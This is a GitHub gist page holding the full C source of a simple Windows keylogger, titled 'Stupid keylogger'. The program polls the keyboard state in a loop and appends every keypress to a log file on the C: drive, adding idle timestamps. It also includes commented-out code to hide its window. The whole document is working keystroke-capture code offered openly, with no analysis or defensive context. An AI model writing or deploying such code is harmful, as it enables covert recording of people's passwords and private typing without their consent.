Skip to content

Instantly share code, notes, and snippets.

@cameronp98
Last active July 18, 2019 07:10
Show Gist options
  • Select an option

  • Save cameronp98/10670392 to your computer and use it in GitHub Desktop.

Select an option

Save cameronp98/10670392 to your computer and use it in GitHub Desktop.
Stupid keylogger
#include <windows.h>
#include <stdio.h>
#include <time.h>
main() {
// keep track of the time
time_t t_start, t_now, t_lastkey;
time(&t_start);
time(&t_now);
time(&t_lastkey);
// hide the window
// HWND window = GetForegroundWindow();
// ShowWindow(window, false);
// create/open a log file
FILE *fp_keylog = fopen("c:/keylog.txt", "a");
int c;
while (1) {
time(&t_now);
// poll for queued keypresses
for (c = 8; c <= 222; ++c) {
// (if key is pressed)
if(GetAsyncKeyState(c)==-32767) {
// log the pressed key
printf("%c", c);
fprintf(fp_keylog, "%c", c);
fflush(fp_keylog);
// update the time for the most recent keypress
time(&t_lastkey);
}
}
/* write to disk and add a timestamp when a key hasn't been
* pressed for at least 20 seconds
*/
if (t_now - t_lastkey > 20) {
// display an idle message
printf("idle %d\n", t_now);
// close and reopen the file
fclose(fp_keylog);
fp_keylog = fopen("c:/keylog.txt", "a");
// write timestamp to file and write pending buffer
fprintf(fp_keylog, "\nIdle (20s): %s\n", asctime(localtime(&t_now)));
fflush(fp_keylog);
// update the keypress time to stop constant flushing etc.
time(&t_lastkey);
}
}
fclose(fp_keylog);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment